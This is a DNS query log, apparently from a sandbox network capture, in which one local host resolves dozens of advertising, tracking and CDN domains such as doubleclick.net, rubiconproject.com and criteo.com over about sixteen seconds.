Apr 28, 2024 00:41:59.869551897 CEST	192.168.2.4	1.1.1.1	0x5367	Standard query (0)	uipglob.semasio.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.869704962 CEST	192.168.2.4	1.1.1.1	0x1228	Standard query (0)	uipglob.semasio.net	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.884562969 CEST	192.168.2.4	1.1.1.1	0xa344	Standard query (0)	htlb.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.884820938 CEST	192.168.2.4	1.1.1.1	0xb053	Standard query (0)	htlb.casalemedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:41:59.932651043 CEST	192.168.2.4	1.1.1.1	0xa3a8	Standard query (0)	fastlane.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:41:59.932809114 CEST	192.168.2.4	1.1.1.1	0x3b28	Standard query (0)	fastlane.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:00.052468061 CEST	192.168.2.4	1.1.1.1	0xa881	Standard query (0)	prebid.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.052659035 CEST	192.168.2.4	1.1.1.1	0xd434	Standard query (0)	prebid.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:00.178003073 CEST	192.168.2.4	1.1.1.1	0xd7de	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.178297997 CEST	192.168.2.4	1.1.1.1	0x4fb6	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:00.235152006 CEST	192.168.2.4	1.1.1.1	0x8fc2	Standard query (0)	tlx.3lift.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.235299110 CEST	192.168.2.4	1.1.1.1	0xc68c	Standard query (0)	tlx.3lift.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:00.421652079 CEST	192.168.2.4	1.1.1.1	0xcc3f	Standard query (0)	rp.liadm.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.421793938 CEST	192.168.2.4	1.1.1.1	0x2ad9	Standard query (0)	rp.liadm.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:00.746272087 CEST	192.168.2.4	1.1.1.1	0x90d4	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:00.746414900 CEST	192.168.2.4	1.1.1.1	0x14c0	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:01.222537041 CEST	192.168.2.4	1.1.1.1	0x4935	Standard query (0)	match.sharethrough.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:01.222784996 CEST	192.168.2.4	1.1.1.1	0x87c2	Standard query (0)	match.sharethrough.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:02.391462088 CEST	192.168.2.4	1.1.1.1	0x683b	Standard query (0)	static.criteo.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:02.391637087 CEST	192.168.2.4	1.1.1.1	0x8c11	Standard query (0)	static.criteo.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:02.391901970 CEST	192.168.2.4	1.1.1.1	0x6ab	Standard query (0)	u.openx.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:02.392034054 CEST	192.168.2.4	1.1.1.1	0x5cdf	Standard query (0)	u.openx.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.353497028 CEST	192.168.2.4	1.1.1.1	0xbdb6	Standard query (0)	yahoo-bidout-d.openx.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.353652000 CEST	192.168.2.4	1.1.1.1	0xd018	Standard query (0)	yahoo-bidout-d.openx.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.353916883 CEST	192.168.2.4	1.1.1.1	0x30b0	Standard query (0)	ads.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.354098082 CEST	192.168.2.4	1.1.1.1	0xb6f9	Standard query (0)	ads.yieldmo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.354762077 CEST	192.168.2.4	1.1.1.1	0xe097	Standard query (0)	js-sec.indexww.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.354976892 CEST	192.168.2.4	1.1.1.1	0xa6b1	Standard query (0)	js-sec.indexww.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.355457067 CEST	192.168.2.4	1.1.1.1	0xd6d1	Standard query (0)	ads.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.356487036 CEST	192.168.2.4	1.1.1.1	0x84	Standard query (0)	ads.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.356806040 CEST	192.168.2.4	1.1.1.1	0x4c80	Standard query (0)	cdn.taboola.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.356940031 CEST	192.168.2.4	1.1.1.1	0x1d10	Standard query (0)	cdn.taboola.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.357469082 CEST	192.168.2.4	1.1.1.1	0xe92b	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.357671976 CEST	192.168.2.4	1.1.1.1	0xd033	Standard query (0)	contextual.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.358330011 CEST	192.168.2.4	1.1.1.1	0x7d00	Standard query (0)	eus.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.358485937 CEST	192.168.2.4	1.1.1.1	0xae51	Standard query (0)	eus.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.359045982 CEST	192.168.2.4	1.1.1.1	0x55b8	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.359245062 CEST	192.168.2.4	1.1.1.1	0xd9fd	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.359842062 CEST	192.168.2.4	1.1.1.1	0xff69	Standard query (0)	sync.go.sonobi.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.360340118 CEST	192.168.2.4	1.1.1.1	0x829a	Standard query (0)	sync.go.sonobi.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.669595957 CEST	192.168.2.4	1.1.1.1	0xd00f	Standard query (0)	googleads.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.669753075 CEST	192.168.2.4	1.1.1.1	0x9e6	Standard query (0)	googleads.g.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.670078993 CEST	192.168.2.4	1.1.1.1	0xe56c	Standard query (0)	s0.2mdn.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.670213938 CEST	192.168.2.4	1.1.1.1	0x94d9	Standard query (0)	s0.2mdn.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:04.706902981 CEST	192.168.2.4	1.1.1.1	0x1ca9	Standard query (0)	s.yimg.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:04.707194090 CEST	192.168.2.4	1.1.1.1	0x8200	Standard query (0)	s.yimg.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.427826881 CEST	192.168.2.4	1.1.1.1	0x2fec	Standard query (0)	ads.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.427974939 CEST	192.168.2.4	1.1.1.1	0x8d87	Standard query (0)	ads.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.429428101 CEST	192.168.2.4	1.1.1.1	0xf766	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.429559946 CEST	192.168.2.4	1.1.1.1	0x8fe2	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.609344006 CEST	192.168.2.4	1.1.1.1	0x2b0f	Standard query (0)	pbs.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.609607935 CEST	192.168.2.4	1.1.1.1	0x9244	Standard query (0)	pbs.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.610564947 CEST	192.168.2.4	1.1.1.1	0xfb9e	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.611350060 CEST	192.168.2.4	1.1.1.1	0xcc46	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.611733913 CEST	192.168.2.4	1.1.1.1	0x3c15	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.612276077 CEST	192.168.2.4	1.1.1.1	0x5f34	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.613249063 CEST	192.168.2.4	1.1.1.1	0x372c	Standard query (0)	s.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.613466024 CEST	192.168.2.4	1.1.1.1	0x9750	Standard query (0)	s.amazon-adsystem.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.614973068 CEST	192.168.2.4	1.1.1.1	0x5f97	Standard query (0)	match.adsrvr.org	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.615293026 CEST	192.168.2.4	1.1.1.1	0x7c2c	Standard query (0)	match.adsrvr.org	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.615618944 CEST	192.168.2.4	1.1.1.1	0x7b72	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.615776062 CEST	192.168.2.4	1.1.1.1	0x440b	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.847413063 CEST	192.168.2.4	1.1.1.1	0x6a4d	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.847584963 CEST	192.168.2.4	1.1.1.1	0x928f	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.946507931 CEST	192.168.2.4	1.1.1.1	0x1a5c	Standard query (0)	qsearch-a.akamaihd.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.946715117 CEST	192.168.2.4	1.1.1.1	0x1da2	Standard query (0)	qsearch-a.akamaihd.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.954061031 CEST	192.168.2.4	1.1.1.1	0x7229	Standard query (0)	rtb.mfadsrvr.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.954288006 CEST	192.168.2.4	1.1.1.1	0x834c	Standard query (0)	rtb.mfadsrvr.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.954885960 CEST	192.168.2.4	1.1.1.1	0x3d5	Standard query (0)	rtb-use.mfadsrvr.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.955661058 CEST	192.168.2.4	1.1.1.1	0xe3e1	Standard query (0)	rtb-use.mfadsrvr.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.956357002 CEST	192.168.2.4	1.1.1.1	0x2129	Standard query (0)	rtb-use.hellogenie.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.956541061 CEST	192.168.2.4	1.1.1.1	0x3391	Standard query (0)	rtb-use.hellogenie.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.958457947 CEST	192.168.2.4	1.1.1.1	0xad44	Standard query (0)	qsearch-a.akamaihd.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.958617926 CEST	192.168.2.4	1.1.1.1	0x8d3	Standard query (0)	qsearch-a.akamaihd.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.959532976 CEST	192.168.2.4	1.1.1.1	0x4234	Standard query (0)	de9a11s35xj3d.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.959729910 CEST	192.168.2.4	1.1.1.1	0x578e	Standard query (0)	de9a11s35xj3d.cloudfront.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.960627079 CEST	192.168.2.4	1.1.1.1	0xc492	Standard query (0)	mcc-cms-s3.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.961982965 CEST	192.168.2.4	1.1.1.1	0xb47e	Standard query (0)	mcc-cms-s3.s3.amazonaws.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.962515116 CEST	192.168.2.4	1.1.1.1	0x562c	Standard query (0)	warp.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.962768078 CEST	192.168.2.4	1.1.1.1	0x1d5c	Standard query (0)	warp.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.963272095 CEST	192.168.2.4	1.1.1.1	0xc928	Standard query (0)	hblg.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.963426113 CEST	192.168.2.4	1.1.1.1	0xca4f	Standard query (0)	hblg.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.964446068 CEST	192.168.2.4	1.1.1.1	0x5222	Standard query (0)	d31otfhas71ais.cloudfront.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.964792013 CEST	192.168.2.4	1.1.1.1	0xcadc	Standard query (0)	d31otfhas71ais.cloudfront.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:05.968689919 CEST	192.168.2.4	1.1.1.1	0xb4dc	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:05.968835115 CEST	192.168.2.4	1.1.1.1	0x46b4	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:06.310307026 CEST	192.168.2.4	1.1.1.1	0x6236	Standard query (0)	static.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.310498953 CEST	192.168.2.4	1.1.1.1	0x63f9	Standard query (0)	static.yieldmo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:06.422177076 CEST	192.168.2.4	1.1.1.1	0xc77c	Standard query (0)	nym1-ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.422374010 CEST	192.168.2.4	1.1.1.1	0x636b	Standard query (0)	nym1-ib.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:06.522778988 CEST	192.168.2.4	1.1.1.1	0x1b3f	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:06.522912979 CEST	192.168.2.4	1.1.1.1	0x51	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:09.090574026 CEST	192.168.2.4	1.1.1.1	0x19cb	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.090794086 CEST	192.168.2.4	1.1.1.1	0x6e15	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:09.384218931 CEST	192.168.2.4	1.1.1.1	0x35f5	Standard query (0)	ap.lijit.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.384339094 CEST	192.168.2.4	1.1.1.1	0x4e26	Standard query (0)	ap.lijit.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:09.458851099 CEST	192.168.2.4	1.1.1.1	0xe197	Standard query (0)	www.googletagservices.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.458991051 CEST	192.168.2.4	1.1.1.1	0x5ec2	Standard query (0)	www.googletagservices.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:09.460292101 CEST	192.168.2.4	1.1.1.1	0x443b	Standard query (0)	cdn.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:09.460401058 CEST	192.168.2.4	1.1.1.1	0xbc1e	Standard query (0)	cdn.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.269905090 CEST	192.168.2.4	1.1.1.1	0x4580	Standard query (0)	y.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.279838085 CEST	192.168.2.4	1.1.1.1	0xc6a	Standard query (0)	smarttag.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.280256987 CEST	192.168.2.4	1.1.1.1	0x66e9	Standard query (0)	smarttag.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.280900002 CEST	192.168.2.4	1.1.1.1	0x62ac	Standard query (0)	sync.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.281532049 CEST	192.168.2.4	1.1.1.1	0x7d63	Standard query (0)	sync.intentiq.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.282847881 CEST	192.168.2.4	1.1.1.1	0x61e5	Standard query (0)	hbx.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.282990932 CEST	192.168.2.4	1.1.1.1	0xf159	Standard query (0)	hbx.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.284961939 CEST	192.168.2.4	1.1.1.1	0x2104	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.285109043 CEST	192.168.2.4	1.1.1.1	0xc33f	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.285543919 CEST	192.168.2.4	1.1.1.1	0x39d	Standard query (0)	secure-assets.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.285773039 CEST	192.168.2.4	1.1.1.1	0xfc61	Standard query (0)	secure-assets.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.286185026 CEST	192.168.2.4	1.1.1.1	0x7b5c	Standard query (0)	p.rfihub.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.290524006 CEST	192.168.2.4	1.1.1.1	0x9459	Standard query (0)	p.rfihub.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.291361094 CEST	192.168.2.4	1.1.1.1	0x51ce	Standard query (0)	c21lg-d.media.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.291510105 CEST	192.168.2.4	1.1.1.1	0x71cf	Standard query (0)	c21lg-d.media.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.291960001 CEST	192.168.2.4	1.1.1.1	0x3130	Standard query (0)	sync.go.sonobi.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.292109966 CEST	192.168.2.4	1.1.1.1	0xea37	Standard query (0)	sync.go.sonobi.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.292548895 CEST	192.168.2.4	1.1.1.1	0x8b17	Standard query (0)	medianet-match.dotomi.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.292711020 CEST	192.168.2.4	1.1.1.1	0x3d3c	Standard query (0)	medianet-match.dotomi.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.293102980 CEST	192.168.2.4	1.1.1.1	0x3706	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.293263912 CEST	192.168.2.4	1.1.1.1	0x82af	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.293668985 CEST	192.168.2.4	1.1.1.1	0x2615	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.293847084 CEST	192.168.2.4	1.1.1.1	0xae1b	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.294363022 CEST	192.168.2.4	1.1.1.1	0xf8b4	Standard query (0)	pm.w55c.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.294672012 CEST	192.168.2.4	1.1.1.1	0x13cd	Standard query (0)	pm.w55c.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.295152903 CEST	192.168.2.4	1.1.1.1	0x95ce	Standard query (0)	dis.criteo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.295293093 CEST	192.168.2.4	1.1.1.1	0xc5cc	Standard query (0)	dis.criteo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.380347967 CEST	192.168.2.4	1.1.1.1	0x4fea	Standard query (0)	image6.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.380508900 CEST	192.168.2.4	1.1.1.1	0x638e	Standard query (0)	image6.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.591324091 CEST	192.168.2.4	1.1.1.1	0xd79a	Standard query (0)	kinesis.us-east-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.592344046 CEST	192.168.2.4	1.1.1.1	0x472b	Standard query (0)	kinesis.us-east-1.amazonaws.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.593103886 CEST	192.168.2.4	1.1.1.1	0xebaa	Standard query (0)	ce.lijit.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.593327999 CEST	192.168.2.4	1.1.1.1	0xc9ed	Standard query (0)	ce.lijit.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.594383955 CEST	192.168.2.4	1.1.1.1	0xbd66	Standard query (0)	matchadsrvr.yieldmo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.594523907 CEST	192.168.2.4	1.1.1.1	0xa619	Standard query (0)	matchadsrvr.yieldmo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:10.959641933 CEST	192.168.2.4	1.1.1.1	0x8b3d	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:10.959780931 CEST	192.168.2.4	1.1.1.1	0x3a4c	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.097421885 CEST	192.168.2.4	1.1.1.1	0xe6ac	Standard query (0)	sync1.intentiq.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.097599983 CEST	192.168.2.4	1.1.1.1	0xb10c	Standard query (0)	sync1.intentiq.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.168113947 CEST	192.168.2.4	1.1.1.1	0x4711	Standard query (0)	x.bidswitch.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.168235064 CEST	192.168.2.4	1.1.1.1	0x1a67	Standard query (0)	x.bidswitch.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.168664932 CEST	192.168.2.4	1.1.1.1	0xd886	Standard query (0)	acdn.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.168807983 CEST	192.168.2.4	1.1.1.1	0xbce2	Standard query (0)	acdn.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.175647020 CEST	192.168.2.4	1.1.1.1	0x2596	Standard query (0)	ib.adnxs.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.175781012 CEST	192.168.2.4	1.1.1.1	0xd1de	Standard query (0)	ib.adnxs.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.176170111 CEST	192.168.2.4	1.1.1.1	0xd2d0	Standard query (0)	match.deepintent.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.176311016 CEST	192.168.2.4	1.1.1.1	0xfb73	Standard query (0)	match.deepintent.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.177699089 CEST	192.168.2.4	1.1.1.1	0x9b9a	Standard query (0)	i.liadm.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.177824974 CEST	192.168.2.4	1.1.1.1	0x7699	Standard query (0)	i.liadm.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.178220987 CEST	192.168.2.4	1.1.1.1	0x4f7c	Standard query (0)	us01.z.antigena.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.178353071 CEST	192.168.2.4	1.1.1.1	0x4413	Standard query (0)	us01.z.antigena.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.179670095 CEST	192.168.2.4	1.1.1.1	0xf504	Standard query (0)	um.simpli.fi	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.179822922 CEST	192.168.2.4	1.1.1.1	0x3788	Standard query (0)	um.simpli.fi	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.180563927 CEST	192.168.2.4	1.1.1.1	0xd972	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.180706024 CEST	192.168.2.4	1.1.1.1	0x107e	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.185750008 CEST	192.168.2.4	1.1.1.1	0x2e4c	Standard query (0)	b1sync.zemanta.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.185868979 CEST	192.168.2.4	1.1.1.1	0x7f59	Standard query (0)	b1sync.zemanta.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.288898945 CEST	192.168.2.4	1.1.1.1	0x90bb	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.289040089 CEST	192.168.2.4	1.1.1.1	0x3436	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.399239063 CEST	192.168.2.4	1.1.1.1	0x6022	Standard query (0)	dsum-sec.casalemedia.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.399363041 CEST	192.168.2.4	1.1.1.1	0xc546	Standard query (0)	dsum-sec.casalemedia.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.400621891 CEST	192.168.2.4	1.1.1.1	0x243b	Standard query (0)	s8t.teads.tv	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.400753975 CEST	192.168.2.4	1.1.1.1	0x9ea5	Standard query (0)	s8t.teads.tv	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.401087046 CEST	192.168.2.4	1.1.1.1	0xf62	Standard query (0)	aam.a47b.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.401241064 CEST	192.168.2.4	1.1.1.1	0x7950	Standard query (0)	aam.a47b.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.401629925 CEST	192.168.2.4	1.1.1.1	0x1b4f	Standard query (0)	beacon-iad2.rubiconproject.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.401746988 CEST	192.168.2.4	1.1.1.1	0x46b0	Standard query (0)	beacon-iad2.rubiconproject.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.402194023 CEST	192.168.2.4	1.1.1.1	0xf814	Standard query (0)	rtb.gumgum.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.402327061 CEST	192.168.2.4	1.1.1.1	0x61fb	Standard query (0)	rtb.gumgum.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.748050928 CEST	192.168.2.4	1.1.1.1	0x7400	Standard query (0)	sync.ipredictive.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.748215914 CEST	192.168.2.4	1.1.1.1	0x16ac	Standard query (0)	sync.ipredictive.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:11.881982088 CEST	192.168.2.4	1.1.1.1	0xdb1b	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:11.882137060 CEST	192.168.2.4	1.1.1.1	0xe7a9	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:12.281635046 CEST	192.168.2.4	1.1.1.1	0xe02e	Standard query (0)	cdn.doubleverify.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:12.281781912 CEST	192.168.2.4	1.1.1.1	0x4eb7	Standard query (0)	cdn.doubleverify.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:14.389267921 CEST	192.168.2.4	1.1.1.1	0xa95	Standard query (0)	ssp-sync.criteo.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.389414072 CEST	192.168.2.4	1.1.1.1	0x7aa3	Standard query (0)	ssp-sync.criteo.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:14.592027903 CEST	192.168.2.4	1.1.1.1	0xa585	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.592170954 CEST	192.168.2.4	1.1.1.1	0xe96a	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:14.593404055 CEST	192.168.2.4	1.1.1.1	0x5a52	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.593547106 CEST	192.168.2.4	1.1.1.1	0x8d87	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Apr 28, 2024 00:42:14.613029957 CEST	192.168.2.4	1.1.1.1	0x81b6	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:14.613183022 CEST	192.168.2.4	1.1.1.1	0xe30d	Standard query (0)	ad.doubleclick.net	65	IN (0x0001)	false
Apr 28, 2024 00:42:15.496046066 CEST	192.168.2.4	1.1.1.1	0xd57c	Standard query (0)	ajs.a47b.com	A (IP address)	IN (0x0001)	false
Apr 28, 2024 00:42:15.496177912 CEST	192.168.2.4	1.1.1.1	0x7da6	Standard query (0)	ajs.a47b.com	65	IN (0x0001)	false
